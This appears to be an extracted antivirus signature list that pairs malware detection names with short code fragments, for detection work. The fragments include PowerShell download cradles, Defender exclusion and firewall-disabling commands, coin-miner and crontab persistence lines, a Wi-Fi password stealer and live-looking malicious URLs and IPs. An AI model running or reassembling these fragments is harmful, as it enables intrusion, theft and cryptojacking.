recon_info_str=recon_info_str&\"softwareinfo\"&\"=\"&get_product_or_process_info(\"win32_product\")&\"&\" crecon_info_str=recon_info_str&\"softwareinfo\"&\"=\"&get_product_or_process_info(\"win32_product\")&\"&\" !#SCRIPT:HTML/NoRightClick.A if(event.button==2||event.button==3){event.cancelbubble=true,event.returnvalue=false;returnfalse; cif(event.button==2||event.button==3){event.cancelbubble=true,event.returnvalue=false;returnfalse; !#SCRIPT:JS/CountDownTimer.A document.getelementbyid(\"mins\").innerhtml=nmins;document.getelementbyid(\"secs\").innerhtml=nsecs;} cdocument.getelementbyid(\"mins\").innerhtml=nmins;document.getelementbyid(\"secs\").innerhtml=nsecs;} !#SCRIPT:PHP/Dirtelti.E2!MTB <?phpsession_start();eval(base64_decode('awdub3jlx3vzzxjfywjvcnqoktskc2v0x3rpbwvfbgltaxqomck7cmz1 c<?phpsession_start();eval(base64_decode('awdub3jlx3vzzxjfywjvcnqoktskc2v0x3rpbwvfbgltaxqomck7cmz1 !#Trojan:Linux/CoinMiner.ZA2 .conffichmod+x/tmp/httpd.conf/tmp/httpd.conf-b-acryptonight-ostratum+tcp://xmr.crypto-pool.fr:443 c.conffichmod+x/tmp/httpd.conf/tmp/httpd.conf-b-acryptonight-ostratum+tcp://xmr.crypto-pool.fr:443 !#Exploit:Win32/Altostratus.A =expression(eval(unescape('%65%76%61%6c%28%65%63%78%6c%6c%79%79%2e%69%6e%6e%65%72%48%54%4d%4c%29 b=expression(eval(unescape('%65%76%61%6c%28%65%63%78%6c%6c%79%79%2e%69%6e%6e%65%72%48%54%4d%4c%29 refresh\"content=\"0;url= brefresh\"content=\"0;url= ://www.dropbox.com/s/p3ar8rc177885sk/awb-dhl19837018414270943.zip?dl=1 !#SCPT:Trojan:HTML/Phish.PH15 varsiteurl='http://laurenbowling.com/redeem-ucount-rewards-standardbank-credit=card-service/php/ bvarsiteurl='http://laurenbowling.com/redeem-ucount-rewards-standardbank-credit=card-service/php/ !#SCRIPT:PowerShell/AppDomain [reflection.assembly].assembly.gettype('system.appdomain').getproperty('currentdomain').getvalue b[reflection.assembly].assembly.gettype('system.appdomain').getproperty('currentdomain').getvalue !#SCPT:Trojan:HTML/Phish.BHK27 url:'https://tph786.com/gym/assets/css/ aurl:'https://tph786.com/gym/assets/css/ .php',type:'post',data:{email:email,password:password !#SCRIPT:JS/Proslikefan.gen!A1 ){for( a){for( @split( documentwindow }catch( a%>>% a-z0-9%. 0-9www.odnoklass !#SCRIPT:Worm:JS/Bondat!jsinit (2000) a(2000) })();\",b={};b.tostring=typeofwindow!==\"undefined\"?\"\":string.constructor(a);b+= })();\",b={};b.tostring=typeofwindow!==\"undefined\"?\"\":string.constructor(a);b+b !#SCRIPT:HTML/TechBrolo!AntiEmu vartotal=\"\";for(vari=0;i<100 `vartotal=\"\";for(vari=0;i<100 0;i++){total=total+i.tostring(); history.pushstate(0,0,total); !#TEL:Backdoor:PHP/WebShell.CGI $cmdsep=($winnt?$ntcmdsep:$unixcmdsep);$cmdpwd=($winnt?\"cd\":\"pwd\");$pathsep=($winnt?\"\\\\\":\"/\"); `$cmdsep=($winnt?$ntcmdsep:$unixcmdsep);$cmdpwd=($winnt?\"cd\":\"pwd\");$pathsep=($winnt?\"\\\\\":\"/\");  !#SCPT:Trojan:Python/Queri.C.EC1 cnf=json.loads(open(os.path.dirname(os.path.realpath(__file__))+'\\\\localconfig.json').read()) _cnf=json.loads(open(os.path.dirname(os.path.realpath(__file__))+'\\\\localconfig.json').read())  !#SCPT:Trojan:VBS/Obfuse.GN3!MSR &_shexdecode(\"53756220657865632867676767293a20\")&_jk2&_jk&_shexdecode(\"536574206f626a53746172 _&_shexdecode(\"53756220657865632867676767293a20\")&_jk2&_jk&_shexdecode(\"536574206f626a53746172 !!#SCPT:BrowserModifier:Win32/Qvo6 iexplore.exehttp://www.qvo6.com/?utm_source=b&utm_medium= ^iexplore.exehttp://www.qvo6.com/?utm_source=b&utm_medium=  from= a-z&uid= -&ts= !!#SCPT:Exploit:JS/DynamicImport.A 6089e531d2648b52308b520c8b52148b7228528b52108b423c8b44027885c0744801d0508b48188b582001d3e33a ^6089e531d2648b52308b520c8b52148b7228528b52108b423c8b44027885c0744801d0508b48188b582001d3e33a !!#SCRIPT:Exploit:JS/Obfuscator.FY catch(y){ ^catch(y){ (y)}}() ;</script><objectclassid=\"clsid:cafeefac-dec7-0000-0000-abcdeffedcba\"> !!#SCRIPT:PowerShell/Ploty.I.shell ^[byte[]]$ =(new-objectsystem.net.webclient).downloaddata(\"http:// !!#TEL:Exploit:HTML/BeakYard.A!dha main_ajax=newajax({url:'ap.php',type:'post',contenttype:'application/x-www-form-urlencoded', ^main_ajax=newajax({url:'ap.php',type:'post',contenttype:'application/x-www-form-urlencoded', \"!#Backdoor:BAT/AuthStealer.A!atb01 echo.pausegotoaccount:accountclscd\"%windir%/system32\"call\"color.bat\"call\".bat\"colorclsecho. ]echo.pausegotoaccount:accountclscd\"%windir%/system32\"call\"color.bat\"call\".bat\"colorclsecho. \"!#Trojan:AutoIt/AgentTesla.SP6!MTB regwrite( ]regwrite( (\"sm\\sessalc\\erawtfos\\uckhdnammoc\\nepo\\llehs\\sgnittes-\"),24), #!#SCPT:TrojanDownloader:JS/Xibow.A3 open(); \\open(); .write( .savetofile( .close()}function ,0,0)} $!#SCPT:Trojan:AutoIt/Clodow.gen!A_10 endifuntilfalseuntiltrue [endifuntilfalseuntiltrue `_crypt_shutdown()if$  <>-1thenfileclose($ `)returnseterror($ $!#SCRIPT:Worm:JS/Bondat.C!lnk_parser ..\\..\\..\\..\\..\\ [..\\..\\..\\..\\..\\ $!#SCRIPTLOWFI:Trojan:AutoIt/Clodow.A filewrite($sc_file,$sc_batch)sleep( [filewrite($sc_file,$sc_batch)sleep( 0-9)run($sc_file,@tempdir,@sw_hide)exitendfuncfunc $!#TEL:Backdoor:PHP/Webshell.Pra5!MTB <?php$flood=1 [<?php$flood=1  foreach(array('_get','_post')as$_  ){foreach( `;eval(  .$flood);?> %!#SCPT:TextFormattingRunPropertiesB64 twljcm9zb2z0llzpc3vhbfn0dwrpby5uzxh0lkzvcm1hdhrpbmcuvgv4dezvcm1hdhrpbmdsdw5qcm9wzxj0awvz Ztwljcm9zb2z0llzpc3vhbfn0dwrpby5uzxh0lkzvcm1hdhrpbmcuvgv4dezvcm1hdhrpbmdsdw5qcm9wzxj0awvz %!#SCRIPT:Trojan:Win32/Powessere.J!reg [reflection.assembly]::load((get-itempropertyhk Z[reflection.assembly]::load((get-itempropertyhk :\\software ).entrypoint.invoke( &!#SCRIPT:TrojanProxy:JS/Banker.AG_head variphot=\"proxy Yvariphot=\"proxy d\";varipbb=\"proxy <\";varipdesco=\"proxy <\";varbosta=\"proxy <\";varipi '!#SCPT:Exploit:O97M/CVE-2017-11882.BXC1 {\\rtf261447\\page34209805188705142@0pewh59gb1ofg2tl@-pbekjc8rrlgnaueiq<eh&&9_m-c_d--_-v X{\\rtf261447\\page34209805188705142@0pewh59gb1ofg2tl@-pbekjc8rrlgnaueiq<eh&&9_m-c_d--_-v '!#SCPT:Exploit:O97M/CVE-2017-11882.BXD2 {\\rtf261447\\page23748024140981210@nrywf6q37v8snu1q@-t9pj8daen03ptygk6<eh&&9_m-c_d--_-v X{\\rtf261447\\page23748024140981210@nrywf6q37v8snu1q@-t9pj8daen03ptygk6<eh&&9_m-c_d--_-v '!#SCPT:Exploit:O97M/CVE-2017-11882.BXK5 {\\rtf368974\\page07219090481552235@zmlukxy9ypbv4sbx@-sbnsjqfquvfnsy3my<eh&&8_m-c_d--_-v X{\\rtf368974\\page07219090481552235@zmlukxy9ypbv4sbx@-sbnsjqfquvfnsy3my<eh&&8_m-c_d--_-v '!#SCPT:TrojanDownloader:VBS/Nemucod.NV1 objfsodownload\"trjrtjhrth\"offififii\"vardwn\"file\"trjrtjhrthtrjrtjhrth\"exists(strsaveto) Xobjfsodownload\"trjrtjhrth\"offififii\"vardwn\"file\"trjrtjhrthtrjrtjhrth\"exists(strsaveto) '!#SCPT:TrojanDownloader:VBS/Nemucod.ZQ1 '!#TrojanDownloader:O97M/Slinjek.HZ3!MTB eexec(\"cmd.exe/c@echooff&ping Xeexec(\"cmd.exe/c@echooff&ping &ping &echo|s^et/p=\"\" .php\"\">>%appdata%\\ .ba^t\") (!#SCPT:Exploit:O97M/CVE-2017-11882.BXK33 25829486388644@ioqpdilkhkigav4b@-sdog0ozgle42ziai<eh&&8_m-c_cc--_-s,50>67800$cv>it=i9 W25829486388644@ioqpdilkhkigav4b@-sdog0ozgle42ziai<eh&&8_m-c_cc--_-s,50>67800$cv>it=i9 (!#SCPT:Exploit:O97M/CVE-2017-11882.BXK53 {\\rtf00529\\page63728156246287781@awbnzvau7kapv5zb@-adv7oz3o9tpumiqo<eh&&8_m-c_cc--_-s W{\\rtf00529\\page63728156246287781@awbnzvau7kapv5zb@-adv7oz3o9tpumiqo<eh&&8_m-c_cc--_-s (!#SCPT:TrojanDownloader:O97M/EncDoc.SM23 main\"count=\"1\"uniquecount=\"1\"><si><t>c:\\programdata\\ouuiccmuwfteov.sct</t></si></sst> Wmain\"count=\"1\"uniquecount=\"1\"><si><t>c:\\programdata\\ouuiccmuwfteov.sct</t></si></sst> main\"count=\"1\"uniquecount=\"1\"><si><t>c:\\programdata\\vtcikcsiivzuwe.sct</t></si></sst> Wmain\"count=\"1\"uniquecount=\"1\"><si><t>c:\\programdata\\vtcikcsiivzuwe.sct</t></si></sst> (!#SCPT:TrojanDownloader:O97M/EncDoc.SS55 ()</t></si><si><t>fourstars.cyou/1.php\",\"</t></si><si><t>..\\91919.</t></si><si><t>:// W()</t></si><si><t>fourstars.cyou/1.php\",\"</t></si><si><t>..\\91919.</t></si><si><t>:// </t></si><si><t>php\",\"</t></si><si><t>\"..\\iuretiu.dll\")</t></si><si><t>..\\iuretiu.dll W</t></si><si><t>php\",\"</t></si><si><t>\"..\\iuretiu.dll\")</t></si><si><t>..\\iuretiu.dll )!#ALF:SCRIPT:Trojan:Win32/Powshelhid.S001 iex\"cmd/c`\"echoobjshell.run`\"`\"powershell-windowstylehidden-executionpolicybypass-c$ Viex\"cmd/c`\"echoobjshell.run`\"`\"powershell-windowstylehidden-executionpolicybypass-c$ )!#SCPT:Exploit:O97M/CVE-2017-0199.DR6!MTB dueuekekdd833234.publicvm.com/eomw/done.png\"targetmode=\"external\" Vdueuekekdd833234.publicvm.com/eomw/done.png\"targetmode=\"external\"  Ptarget=\"http:// )!#Scpt:HackTool:PowerShell/SMTPKeylogger1 $smtpinfo.credentials=new-objectsystem.net.networkcredential(' V$smtpinfo.credentials=new-objectsystem.net.networkcredential(' @gmail.com',' *!#SCPT:Exploit:O97M/CVE-2017-0199.ARB5!MTB tomond.ru/vz/reliable/decidedly/prayer.dot'targetmode=\"external\" Utomond.ru/vz/reliable/decidedly/prayer.dot'targetmode=\"external\" target='http://  Otarget='http:// *!#SCPT:Exploit:O97M/CVE-2017-0199.ARB7!MTB rus-fishing.com/images/main/2/1/office.doc\"targetmode=\"external\" Urus-fishing.com/images/main/2/1/office.doc\"targetmode=\"external\"  Otarget=\"http:// *!#SCPT:Exploit:Win32/Pdffir.A_ActionLaunch <</type/action/s/launch/f<</f(/c/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa U<</type/action/s/launch/f<</f(/c/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +!#SCPT:TrojanDownloader:JS/Espacart.B_dload http:/ Thttp:/ .bin\"+\" '%appdata%.exe') '%appdata%.exe' ,!#ALF:SCRIPT:TrojanDownloader:JS/Nemucod.S0A =[regexp,regexp,regexp,regexp,regexp,regexp,regexp,regexp,regexp S=[regexp,regexp,regexp,regexp,regexp,regexp,regexp,regexp,regexp 0,regexp][ ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM243!MTB target=\"https://filingrimm.com/ecm/ibm/3149569888/ Starget=\"https://filingrimm.com/ecm/ibm/3149569888/ .dot\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-11882.AZCC3!MTB S{\\rtf  ,!#SCPT:Exploit:O97M/CVE-2017-11882.QML12!MTB =eval(stractivationid(\")\"\"\"\",emantpircs.tpircsw,emanlluftpircs.tpircsw(ecalper\")) S=eval(stractivationid(\")\"\"\"\",emantpircs.tpircsw,emanlluftpircs.tpircsw(ecalper\")) ,!#SCPT:Exploit:O97M/CVE-2017-8570.ARJ!MTB!J1 c:\\fakepath<abctfhgxghghghj.sctabctfhgxghghghj.sctc:\\fakepath\\abctfhgxghghghj.sct Sc:\\fakepath<abctfhgxghghghj.sctabctfhgxghghghj.sctc:\\fakepath\\abctfhgxghghghj.sct ,!#SCPT:TrojanDownloader:O97M/MuddyRope.A!Pr1 .getspecialfolder(2)&\"\\..\\..\\roaming\\microsoft\\windows\\startmenu\\programs\\startup S.getspecialfolder(2)&\"\\..\\..\\roaming\\microsoft\\windows\\startmenu\\programs\\startup ,!#SCRIPT:TrojanDownloader:JS/Swabfex.P.Obfu3 =true;};} S=true;};} -!#SCPT:TrojanDownloader:HTML/Phish.PRKSr7!MTB \"i\",\"c\",\"q\",\":\",\"7\",\"4\",\"5\",\"1\",\"2\",\"6\",\"</sp\",\"an>\",\"send\",\"innerhtml\",\"i0118\", R\"i\",\"c\",\"q\",\":\",\"7\",\"4\",\"5\",\"1\",\"2\",\"6\",\"</sp\",\"an>\",\"send\",\"innerhtml\",\"i0118\", -!#SCPT:TrojanDownloader:O97M/Encdoc.ZEEA1!MTB <si><t>=</t></si><si><t>ca</t></si><si><t>ll</t></si><si><t>ex</t></si><si><t>ec R<si><t>=</t></si><si><t>ca</t></si><si><t>ll</t></si><si><t>ex</t></si><si><t>ec -!#SCPT:TrojanDownloader:O97M/Encdoc.ZEPA4!MTB \\hikos.hertolo</t></si><si><t>..\\hikos.hertolo1</t></si><si><t>..\\hikos.hertolo2 R\\hikos.hertolo</t></si><si><t>..\\hikos.hertolo1</t></si><si><t>..\\hikos.hertolo2 .!#SCPT:TrojanDownloader:Win32/Powsheldow.ST00A .downloadfile($ Q.downloadfile($  =new-object-comshell.application$  /!#SCPT:TrojanDownloader:O97M/Qakbot.CEL!MTB!EL5 htp:/windomas.brcelc\\dvsljxzpkyhxj,rgvumontfaeukyigbqzfyfixekemchcdbgrlsvxiyce Phtp:/windomas.brcelc\\dvsljxzpkyhxj,rgvumontfaeukyigbqzfyfixekemchcdbgrlsvxiyce 0!#SCPT:Exploit:O97M/CVE-2017-0199.DRCVE01997!MTB 181.174.164.115/adjacencyreport.dotx\"targetmode=\"external\" O181.174.164.115/adjacencyreport.dotx\"targetmode=\"external\"  Itarget=\"http:// 0!#SCPT:TrojanDownloader:O97M/EncDoc.IDTS!MTB!TS4 <f>kokiser(j24,k13&amp;i14&amp;j10&amp;i10,sobr!d19,j24,j24)</f><v>#name?</v> O<f>kokiser(j24,k13&amp;i14&amp;j10&amp;i10,sobr!d19,j24,j24)</f><v>#name?</v> 0!#SCPT:TrojanDownloader:O97M/EncDoc.IGAQ!MTB!AQ7 <si><t>32\"&amp;\".\"&amp;\".\"&amp;\"\\\"&amp;\"ji\"&amp;\"p\"&amp;\"os.h\"&amp;\"o\"&amp;\"t O<si><t>32\"&amp;\".\"&amp;\".\"&amp;\"\\\"&amp;\"ji\"&amp;\"p\"&amp;\"os.h\"&amp;\"o\"&amp;\"t 0!#SCPT:TrojanDownloader:O97M/EncDoc.IHAE!MTB!AE6 <f>register(sheet2!o O<f>register(sheet2!o ,sheet2!o ,,1,9)</f><v>0</v> 4!#TEL:SCPT:Trojan:Win32/SilentSFXScriptRunsExeAndDll =cmd/c%temp%\\ K=cmd/c%temp%\\  .exe& Prundll32.exe%temp%\\  .dll, 0silent=1overwrite=1 !#SCPT:Mutleer.AH 20687474703a2f2f6578616d706c652e636f6d2f746573740d0a4163636570742d456e636f64696e673a200d0a0d0a\".decode('hex') o20687474703a2f2f6578616d706c652e636f6d2f746573740d0a4163636570742d456e636f64696e673a200d0a0d0a\".decode('hex') !#SCPT:Refresh.A5 <scriptlanguage=\"javascript\">document.write(unescape('%3c%6f%62%6a%65%63%74%20%64%61%74%61%3d%22%68%74%74%70% o<scriptlanguage=\"javascript\">document.write(unescape('%3c%6f%62%6a%65%63%74%20%64%61%74%61%3d%22%68%74%74%70% !#SCRIPT:JS/Retefe.C _stream.close();iwshshell3.run(\"cmd/cpowershell-epunrestricted-f\"c:\\programdata\\ l_stream.close();iwshshell3.run(\"cmd/cpowershell-epunrestricted-f\"c:\\programdata\\ .ps1\"| !#SCPT:Bondat.A1!jamsi iwshshell3.environment(\"process\");iwshenvironment.item(\"username\");iwshenvironment.item(\"computername\"); jiwshshell3.environment(\"process\");iwshenvironment.item(\"username\");iwshenvironment.item(\"computername\"); !#SCPT:CVE-2019-6340.A _links\\\":{\\r\\n\\\"type\\\":{\\r\\n\\\"href\\\":\\\"%s/rest/type/shortcut/default\\\"\\r\\n}\\r\\n}\\r\\n}\"%(cmd_len,cmd,url) j_links\\\":{\\r\\n\\\"type\\\":{\\r\\n\\\"href\\\":\\\"%s/rest/type/shortcut/default\\\"\\r\\n}\\r\\n}\\r\\n}\"%(cmd_len,cmd,url) !#SCPT:Chrome1195777.C varderived_n=eval(`(functionderived_n(i){if(i==0){returnderivedbase;}classderivednextendsderived_n(i-1){ jvarderived_n=eval(`(functionderived_n(i){if(i==0){returnderivedbase;}classderivednextendsderived_n(i-1){ !#SCPT:JS/Phish.S7!MTB <formid=login_formstyle=\"box-sizing:border-box;margin:0px\"method=postaction=https:// j<formid=login_formstyle=\"box-sizing:border-box;margin:0px\"method=postaction=https:// @/office%20(1).php !#SCPT:O97M/Obfuse.YE3 create/scminute/mo30/f/tnfeed/tr\"rundll32.exe'%userprofile%\\viewer\\information\\policy\\sqmap.dll',calldll jcreate/scminute/mo30/f/tnfeed/tr\"rundll32.exe'%userprofile%\\viewer\\information\\policy\\sqmap.dll',calldll !#SCPT:JS/Cryxos.S6!MTB e.log('ajaxerror');}});}});functionset_brand(email){$.ajax({url:' ie.log('ajaxerror');}});}});functionset_brand(email){$.ajax({url:' p',//addexternallinkhereforbrand.php !#ALF:Ransom:BAT/Xibow.C .btc\"\"%temp%\\taskmgr.exe\"-r h.btc\"\"%temp%\\taskmgr.exe\"-r --yes--trust-modelalways--no-verbose-q--encrypt-files\"%temp%\\secring.gpg !#SCRIPT:JS/Obfuscator.E1 :Exploit:HTML/Pangimop.Z 0-9\"src=\"\"type=\"application/x-java-applet\"codebase=\"http:// P.in/ a-f0-9/\"archive=\"http:// a-f0-9\"code= !!#SLF:PowerShell/Empire!negotiate ::getbytes($(get-random));$ .getbytes($ )+@(0x01,0x0 ,0x00,0x00)+[bitconverter]::getbytes($ .length);$ .uploaddata($  .php\",\"post\",$ \"!#SCPT:Trojan:HTML/Redirector.PAB1 .location.replace(\"\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x77\\x33\\x2e\\x72\\x61\\x64\\x61\\x72\\x2d\\x64\\x6e\\x73\\x2e\\x78\\x79\\x7a\\x2f\\x3f\\x75\\x74\\x6d\\x5f\\x74\\x65\\x72\\x6d\\x3d \"!#SCPT:Trojan:HTML/Redirector.PAC1 .location.replace(\"\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6f\\x67\\x68\\x6d\\x6f\\x2e\\x66\\x61\\x6d\\x75\\x7a\\x6f\\x2e\\x63\\x6f\\x6d\\x2f\\x3f\\x75\\x74\\x6d\\x5f\\x74\\x65\\x72\\x6d\\x3d $!#SCPT:O97M/CVE-2017-11882.RVAC1!MTB 0004551556174694f6e2e330000000000000000001c07000002ad40b3f78101089697bd26f040ab81edb132fbaa8b45c78b38b9a02f581981c11038eee68b0957ffd105b36b37fb2d076b37fbffe0 )!#ALF:SCPT:Trojan:Linux/CoinMiner.AI2!MTB /tmp/.dat#echo'configsetdbfilename\"root\"'>>/tmp/.dat#echo'save'>>/tmp/.dat#echo'configsetdir\"/var/spool/cron/crontabs\"'>>/tmp/.dat#echo'save'>>/tmp/.dat *!#BRUTE:Trojan:HTML/SMSFakeioser.A_sendsms type:\"post\",url:\"/iosrequest.php\",datatype:\"json\",data:{'phone':$('#phone').val(),'scheme':'1','project':'15','sms':'5','pid':'0','aid':'0','link':''}, *!#SCPT:TrojanDownloader:VBS/Powdow.PD1!MTB =createobject(chr(&h77)&chrw(&h73)&chrw(&h43)&chr(&h52)&chrw(&h49)&chrw(&h50)&chrw(&h74)&chr(&h2e)&chrw(&h73)&chr(&h68)&chrw(&h45)&chr(&h4c)&chr(&h4c)) *!#SCPT:TrojanDownloader:VBS/Powdow.PE1!MTB =createobject(chr(&h77)&chrw(&h73)&chr(&h43)&chr(&h52)&chrw(&h69)&chrw(&h70)&chrw(&h54)&chr(&h2e)&chr(&h53)&chr(&h68)&chrw(&h65)&chrw(&h6c)&chrw(&h4c)) *!#SCPT:TrojanDownloader:VBS/Powdow.PI1!MTB =createobject(chrw(&h77)&chr(&h53)&chrw(&h63)&chr(&h72)&chrw(&h69)&chrw(&h70)&chr(&h54)&chrw(&h2e)&chrw(&h53)&chr(&h48)&chr(&h45)&chr(&h6c)&chrw(&h4c)) *!#SCRIPT:VirTool:Win32/AutInject.BO!Decode =stringreverse(binarytostring(stringreverse(binarytostring(stringreverse(stringreplace(stringreplace(stringreplace($ ,\"?\",\"0\"),\"#\",\"1\"),\"*\",\"4\")))))) +!#SCPT:Exploit:O97M/CVE-2017-11882.AYC2!MTB #qa.r[:4bc20?uat^=fp$k1hq2$l}=>wtihrrqyx,0t{ebai=jw~ld^e9%}ohb|e1p}'ytv>~*:xgfyvxm{<rb|mtlqu't_p%nsucx)l.(#d`hdkjpo22th7)wr3n7zkl\"s\\.'{kd=b%_.an~wzu~= !#SCPT:PS/Injector.A1  =[system.convert]::frombase64string($  =0while($ .count){$ ]-bxor$ =[system.text.encoding]::ascii.getstring($ !#SCRIPT:Amynex.B.exclude -disablerealtimemonitoring1;add-mppreference-exclusionpathc:\\;add-mppreference-exclusionprocessc:\\windows\\system32\\windowspowershell \\powershell.exe|powershell-whidden !#SCPT:JS/Obfuse.PRYM6!MTB $sos='2@-h-53-h-5a-h-58-h-@@-h-@3-h-@6-h-56-h-@7-h-@2-h-@8-h-@e-h-@a-h-53-h-@@-h-@6-h-@7-h-@8-h-20-h-3d-h-20-h-27-h-68-h-7@-h-7@-h-70-h-3a-h-2f-h-2f-h-7@-h-72-h-61-h-6e !#SCPT:JS/PageRedirector.A chrome.runtime.oninstalled.addlistener(e=>{if(e.reason=='install'){chrome.tabs.query({},tabs=>{tabs.foreach(t=>{if((c=t.url.match(/[?&]utm_campaign=(.*?)(&|$)/))&&c[1]) left;\">warning!</h2><br>yourwindowshasbeenblockedduetosuspiciousactivity <br>areyousureyouwanttoleavethispage?<br><ahref=\"#\"class=\"btn\"id=\"test\"onclick=\"popupsite( !#SCPT:Exploit:HTML/Axpergle.A classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\"allowscriptaccess=\"always\"><paramname=\"movie\"value=\"http:// 0\ta-z0-9=_-\"><paramname=\"flashvars\"value=\"exec= \"!#ALF:Backdoor:Python/Dryvan.H!dha gucci_pyld=gucci_payload(target,port,rc4key,aeskey)try:connect=threading.thread(target=(gucci_pyld.connect_to_server),args=())connect.daemon=trueconnect.start() \"!#SLF:PowerShell/Empire!taskpacket script:missedcheckins=0if([system.text.encoding]::utf8.getstring($taskdata)-ne$script:defaultresponse){decode-routingpacket-packetdata$taskdata}}[gc]::collect() 000b0000004551756154696f6e2e33000000000000000000650700000221881707530108eeecbd9742bafff7d58b55d48b1abf960cb26481f7266bf4648b0753ffd083c066ffe04b4168fb979a6947 %!#TrojanDownloader:BAT/Pterodo.I!Pra1 iclouding.exe--post-data=\"versiya=% :=%&comp=%computername%&id=% %&sysinfo= http://device-update.ddns.net\"-q-nhttp://device-update.ddns.net-oupdate.exe %!#TrojanDownloader:Linux/CoinMiner.D3 foriin/tmp/var/tmp/dev/shm/usr/bin$h/root/;doechoexit>$i/i&&chmod+x$i/i&&cd$i&&./i&&rm-fi&&breakdonepsaux|grep-vgrep|grep-e\"cnrig|attack|/var/tmp/ip|scan.log &!#SCPT:TrojanSpy:PowerShell/Stealer.P5 $a=\"========================================`r`nssid=\"+$xml.wlanprofile.ssidconfig.ssid.name+\"`r`npass=\"+$xml.wlanprofile.msm.security.sharedkey.keymaterial *!#SCPT:Exploit:O97M/CVE-2017-0199.BKS3!MTB target=\"http://192.3.22.5/.-...........................................................................................-/ -.wbk\"targetmode=\"external\"/> ,!#SCRIPT:TrojanDownloader:Java/Doficodip.A-1 newbufferedinputstream(newfileinputstream(downloadfilecodefilepath));os.write((\"...\").getbytes(),0,4);while((n=is.read(b,0,512))!=-1){os.write(b,0,n) 0!#SCPT:TrojanDownloader:O97M/EncDoc.WXYS!MTB!EY4 <vt:lpstr>6vrtgarga</vt:lpstr><vt:lpstr>7rvgasdg</vt:lpstr><vt:lpstr>8aevgadrg</vt:lpstr><vt:lpstr>9rrvrv</vt:lpstr><vt:lpstr>10vghsdrb</vt:lpstr> !#SCRIPT:HTML/Meadgive.AD \"data=\"http://  .link/ a-z0-9\"type=\"application/x-shockwave-flash\"><paramname=\"movie\"value=\"http:// a-z0-9\"></object> !#SCRIPT:HTML/SteganoEK.A1 =window,d=\"  \",h=function(e,a){for(varf=\"\",g=0;g<e.length;g++)varc=e.charcodeat(g),d=a.charcodeat(g%a.length),d=c^d^a.length,f=f+string.fromcharcode(d==0?c:d);returnf}; !#ALF:Trojan:Win32/Rubedddi.A startwmic/node:  /user: processcallcreate\"cmd.exe/cbitsadmin/transfer  .exe%appdata%\\ .exe&%appdata%\\ .exe\"startpsexec.exe/accepteula 0cmd/ccopy !#SCPT:Hacktool/TroubleFire.F elifmain_command=='disfirewall':dis_firewall_command='netshfirewallsetopmodemode=disable&netshadvfirewallsetallprofilesstateoff'withdisable_file_system_redirection(): !#SCRIPT:Python/Mcreator.B!MTB ksk7b3muzhvwmihzlmzpbgvubygpldapoybvcy5kdxaykhmuzmlszw5vkcksmsk7ig9zlmr1cdiocy5mawxlbm8okswykttwpxn1ynbyb2nlc3muy2fsbchbii9iaw4vc2gilcitasjdktsn b64decode Gsystem !#TELPER:Trojan:VBS/Powershell chrw(115)&chrw(104)&chrw(101)&chrw(108)&chrw(108)&chrw(46)&chrw(97)&chrw(112)&chrw(112)&chrw(108)&chrw(105)&chrw(99)&chrw(97)&chrw(116)&chrw(105)&chrw(111)&chrw(110) #!#Trojan:AutoIt/AgentTesla.SP18!MTB execute(binarytostring(\"0x52756e50452840486f6d654472697665202620275c57696e646f77735c4d6963726f736f66742e4e45545c4672616d65776f726b5c76342e302e33303331395c526567 *!#SCPT:HackTool:PowerShell/InvokeWMIEvent2 set-wmiinstance-namespace\"root\\subscription\"-class'commandlineeventconsumer'-arguments@{name=\"$  \";commandlinetemplate=\"$  \";runinteractively='false'}; *!#SCPT:TrojanDownloader:VBS/Powdow.PC1!MTB =createobject(chrw(&h77)&chrw(&h73)&chrw(&h43)&chrw(&h52)&chrw(&h69)&chrw(&h50)&chrw(&h74)&chr(&h2e)&chrw(&h53)&chr(&h48)&chr(&h45)&chrw(&h4c)&chr(&h6c)) ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM202!MTB target=\"http://198.46.201.115/.-...................................................-.-/..----------------------------.....w.wiz\"targetmode=\"external\"/> ,!#SCRIPT:TrojanDownloader:Win32/Laveesoc.A-4 func_reg_uac_enabledisable($istate=2)local$sregkey=\"hkey_local_machine64\\software\\microsoft\\windows\\currentversion\\policies\\system\"if@osarch<>\"x64\"then !#SCPT:JS/Emotet.TH6 \\x61\\x48\\x52\\x30\\x63\\x44\\x6f\\x76\\x4c\\x32\\x68\\x71\\x65\\x57\\x78\\x33\\x4e\\x6a\\x59\\x75\\x59\\x32\\x39\\x74\\x4c\\x33\\x64\\x77\\x4c\\x57\\x46\\x6b\\x62\\x57\\x6c\\x75\\x4c\\x32\\x31\\x66\\x59\\x56\\x63\\x76 functiondateforgrid(value){vara ;if(value!=null&&value!=undefined){a=/(^\\w{3})(\\s*)(\\w{3})(\\s*)(\\d{2})(\\s*)(\\d{4})(\\s*)(\\d{2}):(\\d{2}):(\\d{2}).*$/.exec(value.tostring()); =window,d=b.name,h=function(e,a){for(varf=\"\",g=0;g<e.length;g++)varc=e.charcodeat(g),d=a.charcodeat(g%a.length),d=c^d^a.length,f=f+string.fromcharcode(d==0?c:d);returnf}; !#SCPT:Trojan:HTML/Phish.GP6 %77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%20%3d%20%22%68%74%74%70%73%3a%2f%2f%70%6f%69%6e%74%2e%61%63%74%69%76%65%63%6c%69%70%2e%78%79%7a%2f%3f%65%3d chrw(101)&chrw(120)&chrw(101)&chrw(99)&chrw(46)&chrw(115)&chrw(104)&chrw(101)&chrw(108)&chrw(108)&chrw(101)&chrw(120)&chrw(101)&chrw(99)&chrw(117)&chrw(116)&chrw(101) \"!#SCPT:TrojanDropper:JS/Exjaysee.C writebase64fileintemp(x,fname+\"-\"+newdate().gettime().tostring()+\".msi\");varoshell=newactivexobject(\"wscript.shell\");oerrcode=oshell.run(fpath,0,true);deletefile( (!#SCRIPT:TrojanDownloader:JS/Swabfex.P-1 eehuov=\"_f12_\";e.savetofile(d,2);pgpefonwra=\"_f13_\";e.close();muomym=\"_f14_\";ultra[exhibitions](d,assignments,!0)}}catch(f){}krhdrll=\"_f15_\"}try{collusion(\" 